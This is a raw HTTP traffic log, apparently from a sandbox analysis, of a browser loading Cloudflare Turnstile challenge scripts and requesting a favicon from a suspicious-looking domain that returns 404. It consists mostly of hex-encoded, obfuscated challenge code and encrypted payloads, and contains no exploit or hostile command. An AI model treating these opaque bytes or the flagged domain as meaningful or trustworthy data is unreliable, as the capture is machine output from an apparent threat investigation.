a:link,#terms a:visited{c

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:28 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9224cf676904c3fa&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:29 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121634 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9224cf6b9af94fb3-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:29 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 6e 69 45 44 61 35 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 Data Ascii: window._cf_chl_opt.niEDa5={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudfla
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 Data Ascii: dded%20into%20a%20parent%20page.","human_button_text":"Verify%20you%20are%20human","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","feedback_report_output_subtitle":"Your%20feedback%20report%20
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 55 2c 65 59 2c 65 5a 2c 66 32 2c 66 35 2c 66 37 2c 66 38 2c 66 39 2c 66 6c 2c 66 78 2c 66 44 2c 66 45 2c 66 46 2c Data Ascii: e%3F","turnstile_footer_privacy":"Privacy"},"polyfills":{"feedback_report_guideline":false,"feedback_report_output_subtitle":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eU,eY,eZ,f2,f5,f7,f8,f9,fl,fx,fD,fE,fF,
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 58 4f 55 4c 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4a 51 61 50 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 77 4f 4b 77 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 7a 78 6f 57 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 74 44 6d 6f 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 74 68 6b 5a 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 41 6c 61 5a 68 27 3a 68 69 28 31 36 33 37 29 2c 27 75 4d 52 77 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 Data Ascii: turn h==i},'XOULF':function(h,i){return h==i},'JQaPc':function(h,i){return h-i},'wOKwL':function(h,i){return h<<i},'zxoWe':function(h,i){return i&h},'tDmoE':function(h,i){return i==h},'thkZR':function(h,i){return h\|i},'AlaZh':hi(1637),'uMRws':function(h,i
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 20 51 5e 52 7d 2c 27 79 49 61 47 44 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 2d 52 7d 2c 27 59 66 78 70 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 5e 52 7d 2c 27 45 5a 76 6c 49 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 7c 52 7d 2c 27 4b 61 6c 53 59 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 2c 68 6d 29 7b 72 65 74 75 72 6e 20 68 6d 3d 62 2c 64 5b 68 6d 28 38 39 32 29 5d 28 51 2c 52 29 7d 2c 27 52 70 66 44 51 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 2c 68 6e 29 7b 72 65 74 75 72 6e 20 68 6e 3d 62 2c 64 5b 68 6e 28 31 65 33 29 5d 28 51 2c 52 29 7d 2c 27 4d 67 43 50 44 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 5e 52 7d 2c 27 69 43 4e 76 Data Ascii: Q^R},'yIaGD':function(Q,R){return Q-R},'YfxpM':function(Q,R){return Q^R},'EZvlI':function(Q,R){return Q\|R},'KalSY':function(Q,R,hm){return hm=b,d[hm(892)](Q,R)},'RpfDQ':function(Q,R,hn){return hn=b,d[hn(1e3)](Q,R)},'MgCPD':function(Q,R){return Q^R},'iCNv
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 64 5b 68 70 28 31 32 37 38 29 5d 28 49 2c 31 29 7c 64 5b 68 70 28 31 37 34 39 29 5d 28 50 2c 31 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 68 70 28 38 35 36 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 68 70 28 31 31 35 39 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 68 70 28 31 31 31 32 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 68 70 28 34 36 36 29 5d 28 49 3c 3c 31 2e 34 39 2c 50 26 31 29 2c 64 5b 68 70 28 31 36 36 37 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 68 70 28 38 35 36 29 5d 28 64 5b 68 70 28 38 30 Data Ascii: )](0),x=0;16>x;I=d[hp(1278)](I,1)\|d[hp(1749)](P,1),J==j-1?(J=0,H[hp(856)](o(I)),I=0):J++,P>>=1,x++);}E--,d[hp(1159)](0,E)&&(E=Math[hp(1112)](2,G),G++),delete C[D]}else for(P=B[D],x=0;x<G;I=d[hp(466)](I<<1.49,P&1),d[hp(1667)](J,j-1)?(J=0,H[hp(856)](d[hp(80
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 78 29 3b 49 3d 64 5b 68 70 28 34 36 36 29 5d 28 49 3c 3c 31 2c 64 5b 68 70 28 31 37 34 39 29 5d 28 50 2c 31 29 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 68 70 28 38 35 36 29 5d 28 64 5b 68 70 28 31 30 38 38 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 20 50 5b 68 70 28 31 35 35 36 29 5d 5b 68 70 28 31 38 38 39 29 5d 28 68 70 28 31 37 37 32 29 29 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 78 3d 30 3b 64 5b 68 70 28 31 30 35 34 29 5d 28 78 2c 47 29 3b 49 3d 49 3c 3c 31 2e 31 33 7c 50 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 68 70 28 38 35 36 29 5d 28 64 5b 68 70 28 31 30 38 38 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 68 70 28 31 Data Ascii: x);I=d[hp(466)](I<<1,d[hp(1749)](P,1)),j-1==J?(J=0,H[hp(856)](d[hp(1088)](o,I)),I=0):J++,P>>=1,x++);}else P[hp(1556)][hp(1889)](hp(1772))}else{for(P=1,x=0;d[hp(1054)](x,G);I=I<<1.13\|P,J==j-1?(J=0,H[hp(856)](d[hp(1088)](o,I)),I=0):J++,P=0,x++);for(P=D[hp(1
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 4d 4e 58 65 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 68 72 29 7b 72 65 74 75 72 6e 20 68 72 3d 62 2c 64 5b 68 72 28 38 36 39 29 5d 28 6a 2c 6b 29 7d 2c 27 79 53 49 5a 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 68 73 29 7b 72 65 74 75 72 6e 20 68 73 3d 62 2c 64 5b 68 73 28 31 30 31 30 29 5d 28 6a 2c 6b 29 7d 2c 27 68 64 45 45 69 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 6c 2c 68 74 29 7b 72 65 74 75 72 6e 20 68 74 3d 62 2c 64 5b 68 74 28 31 37 36 38 29 5d 28 6a 2c 6b 2c 6c 29 7d 2c 27 69 4d 79 66 56 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 2c 6c 29 7b 72 65 74 75 72 6e 20 6a 28 6b 2c 6c 29 7d 2c 27 65 46 44 77 64 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 29 7b 72 65 74 75 72 6e 20 6a 5e 6b 7d 2c 27 59 51 70 46 4f 27 3a 66 75 6e 63 74 69 6f 6e Data Ascii: MNXe':function(j,k,hr){return hr=b,d[hr(869)](j,k)},'ySIZN':function(j,k,hs){return hs=b,d[hs(1010)](j,k)},'hdEEi':function(j,k,l,ht){return ht=b,d[ht(1768)](j,k,l)},'iMyfV':function(j,k,l){return j(k,l)},'eFDwd':function(j,k){return j^k},'YQpFO':function
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 29 5d 28 69 5b 68 77 28 34 39 33 29 5d 28 61 38 2b 36 34 3e 3e 39 2e 37 39 2c 34 29 2c 31 35 29 5d 3d 61 39 2c 6e 3d 30 3b 6e 3c 61 61 5b 68 77 28 31 31 36 35 29 5d 3b 6e 2b 3d 31 36 29 7b 66 6f 72 28 61 4c 3d 6c 5b 30 5d 2c 73 3d 6c 5b 31 5d 2c 78 3d 6c 5b 32 5d 2c 42 3d 6c 5b 33 5d 2c 43 3d 6c 5b 34 5d 2c 44 3d 6c 5b 35 5d 2c 45 3d 6c 5b 36 5d 2c 46 3d 6c 5b 37 5d 2c 6f 3d 30 3b 69 5b 68 77 28 37 32 39 29 5d 28 36 34 2c 6f 29 3b 6f 2b 2b 29 66 6f 72 28 47 3d 68 77 28 31 33 36 34 29 5b 68 77 28 31 38 33 34 29 5d 28 27 7c 27 29 2c 48 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 47 5b 48 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 78 3d 73 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 4b 3d 69 5b 68 77 28 35 36 35 29 5d 28 69 5b 68 77 28 31 33 34 Data Ascii: )](i[hw(493)](a8+64>>9.79,4),15)]=a9,n=0;n<aa[hw(1165)];n+=16){for(aL=l[0],s=l[1],x=l[2],B=l[3],C=l[4],D=l[5],E=l[6],F=l[7],o=0;i[hw(729)](64,o);o++)for(G=hw(1364)[hw(1834)]('\|'),H=0;!![];){switch(G[H++]){case'0':x=s;continue;case'1':K=i[hw(565)](i[hw(134
2025-03-18 12:42:29 UTC	1369	IN	Data Raw: 36 33 29 5d 26 26 28 6d 5b 68 78 28 37 37 36 29 5d 5b 68 78 28 31 35 32 39 29 5d 28 29 2c 6e 5b 68 78 28 37 37 36 29 5d 5b 68 78 28 38 31 35 29 5d 28 29 2c 6f 5b 68 78 28 37 37 36 29 5d 5b 68 78 28 31 37 30 39 29 5d 28 29 2c 73 5b 68 78 28 31 38 36 33 29 5d 3d 21 21 5b 5d 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 79 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4f 2c 4c 2c 4d 2c 4e 2c 51 29 7b 69 66 28 68 79 3d 68 69 2c 68 79 28 37 36 39 29 3d 3d 3d 68 79 28 37 36 39 29 29 7b 66 6f 72 28 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 Data Ascii: 63)]&&(m[hx(776)][hx(1529)](),n[hx(776)][hx(815)](),o[hx(776)][hx(1709)](),s[hx(1863)]=!![])})},'i':function(i,j,o,hy,s,x,B,C,D,E,F,G,H,I,J,K,O,L,M,N,Q){if(hy=hi,hy(769)===hy(769)){for(s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Ma

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:28 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:29 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:29 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9224cf6be9ae93b9-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:29 UTC	681	OUT	GET /favicon.ico HTTP/1.1 Host: bonsoiree.mareanebulosasao.it.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bonsoiree.mareanebulosasao.it.com/IFEXy/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=6pscjhb0e16aajvi4vl1e2m011
2025-03-18 12:42:30 UTC	859	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 12:42:30 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AN11m%2B5laoqJ4pYgdfIpJHJ6XOmX3Npcn%2BnPDHwPp6%2FMcGqJCONVDx3HmCzDmh5gLlww%2BmB%2FaQ35yN1zSIO5gIZsrRAKctn%2FE7Pnvhe4yxexFgl0KpNteYNiGVdTNeEHve6xKPasa1r1eHwubqWJG%2BQ7N7I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224cf716f7fefa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2579&min_rtt=2421&rtt_var=1224&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1253&delivery_rate=791757&cwnd=149&unsent_bytes=0&cid=b1a68d0c62f465ce&ts=326&x=0"
2025-03-18 12:42:30 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-03-18 12:42:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:30 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3806 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:30 UTC	3806	OUT	Data Raw: 6d 44 4a 6c 69 6c 55 6c 6f 6c 2d 6c 62 76 6a 35 76 6a 24 6c 76 78 53 55 75 31 76 69 6a 75 6a 2b 45 78 47 61 57 6a 4c 30 6a 30 78 63 4e 63 50 6a 73 57 6a 44 65 57 63 6e 4e 65 6a 69 57 30 74 63 5a 6a 4f 78 6a 72 2b 57 4d 4d 57 6a 4d 47 53 6c 53 61 4a 71 6c 47 4e 6a 66 61 51 6a 6a 42 48 6a 76 55 6a 5a 6a 53 43 42 6c 6c 44 4c 52 4c 6a 39 63 57 63 6e 38 51 5a 6c 53 6e 78 24 75 63 46 72 56 7a 2d 46 6b 74 5a 43 42 71 6c 6a 67 34 6a 50 57 6a 62 70 65 57 49 30 63 24 58 57 4a 6a 43 6a 6a 36 57 65 30 6b 67 53 35 2d 30 58 6c 64 6a 7a 4d 32 6a 49 6c 63 6d 63 69 57 6a 38 78 63 63 6a 47 74 6a 2b 57 6a 32 57 52 47 54 6a 53 50 38 4c 57 6a 4b 76 6a 6a 5a 69 53 37 70 4e 24 61 64 4c 5a 47 58 30 79 65 42 68 6a 63 43 69 52 58 24 4f 47 55 6a 47 4d 6d 79 2b 6c 6a 48 73 55 6a 2d Data Ascii: mDJlilUlol-lbvj5vj$lvxSUu1vijuj+ExGaWjL0j0xcNcPjsWjDeWcnNejiW0tcZjOxjr+WMMWjMGSlSaJqlGNjfaQjjBHjvUjZjSCBllDLRLj9cWcn8QZlSnx$ucFrVz-FktZCBqljg4jPWjbpeWI0c$XWJjCjj6We0kgS5-0XldjzM2jIlcmciWj8xccjGtj+Wj2WRGTjSP8LWjKvjjZiS7pN$adLZGX0yeBhjcCiRX$OGUjGMmy+ljHsUj-
2025-03-18 12:42:30 UTC	1115	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 242344 Connection: close cf-chl-gen: WNueuJ1sC8PuNhiHpfIGijBSiPKVmuYKytNb3m6E/3vMVDFfRnTRgqIsaqeBBNPNtOQtR5PrkSR9IoXEbqtLxM34m9JY6aFo1kPQORU5KakVCYH3qJ05gte6qjerFNzyZmZCjUgklN8Spl73EF3Bhanr9i3Gu0phG+E8XPiesEHku8WaqBeh790XhvLO7hIY0pP1P7yL1+Vz6OroE9w9LpWRw5WQcYOoLLOn9KQ39g+64IDQRhIkyaB3jMJ2+56qKjdijw/oVxXiYNHMY4IwPQA0pefVGr+SxMn2xLG7aWXdj/DU71xuSgsPPyngTMPlv8KCLk6SG3WIOB9ooeiryGvuR6H4xgnefV1hfir3TqyFCByeWTuRycjxyEmYGMHdBBPo44GWcvI3lUY3mUQyBOR/W/WViX791yCOO6wnvSlottpFpj0CQiRwPr73IGGlGRv/aHrYCaiD5Sl6fMnONSqZYB7PIan/JsIaiJY2vQ6xhbE3mMltCrlpRozDz1FQc0nqs1xaX1g7ABcueSZwqE8Dc2j38vZ/6T3c1Ea4LcarfdktLPAAXgydmkFGNgEYCkn9ST2kjHiECxM86HBuWgoXdNPgIvPWXjR7SKWLeKHgTa5U+4bPDK2mUKcHN6QJJwZ0wGpkA98CEn1JYMwCol8Zq7swyBIcXSpNrMWRaSE8QNKUq8t3sy2vYYPQwUlv1iD86Su327vtv5gt8qF0fgQxSg8Yk4fB3+d/sRCQ2FEuaOm1AM/o2QkAJ+VQvPDusaaqFyPf1QMFzmwX8uYT+tzHsjw5m1nbNNpwnrJbNSTSy6oPGC7qzDsEmo5RKXi6sQUNSArI/vbF2WZ5Au8kbw==$9MxrQMt5Tkjdya7KT8Nk1A== Server: cloudflare CF-RAY: 9224cf722d424264-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:30 UTC	254	IN	Data Raw: 69 34 74 52 5a 59 78 72 63 31 61 57 57 35 35 51 6b 6c 64 54 67 4b 46 6a 68 48 68 65 66 4b 5a 31 61 35 71 4d 6d 33 69 68 6a 6f 2b 4b 62 6f 6c 79 73 49 71 69 73 6e 46 75 6d 35 36 34 6f 49 46 2f 6e 70 43 74 76 35 36 46 73 70 36 48 75 4a 75 45 69 72 2b 68 6f 4b 57 39 6c 4e 57 79 70 4a 53 59 74 36 66 59 74 72 69 38 34 4b 76 53 31 4b 4b 63 75 4c 58 62 71 73 65 33 78 37 7a 43 72 72 44 6b 30 37 2b 74 7a 73 2f 59 32 66 54 34 2f 63 62 47 31 51 4c 42 32 39 6e 67 30 63 50 6a 32 4f 6b 47 43 51 37 69 43 4f 62 48 34 67 7a 71 46 75 33 52 41 42 6f 56 37 76 66 78 47 67 37 57 34 50 45 64 49 65 7a 32 2b 50 34 71 33 2f 6e 6b 2b 65 62 70 42 51 4d 47 38 43 73 75 49 76 55 31 39 6a 4c 32 4f 52 4d 5a 42 7a 34 72 50 42 30 73 4f 41 59 7a 42 45 67 36 4e 68 59 63 42 79 77 51 52 67 Data Ascii: i4tRZYxrc1aWW55QkldTgKFjhHhefKZ1a5qMm3ihjo+KbolysIqisnFum564oIF/npCtv56Fsp6HuJuEir+hoKW9lNWypJSYt6fYtri84KvS1KKcuLXbqse3x7zCrrDk07+tzs/Y2fT4/cbG1QLB29ng0cPj2OkGCQ7iCObH4gzqFu3RABoV7vfxGg7W4PEdIez2+P4q3/nk+ebpBQMG8CsuIvU19jL2ORMZBz4rPB0sOAYzBEg6NhYcBywQRg
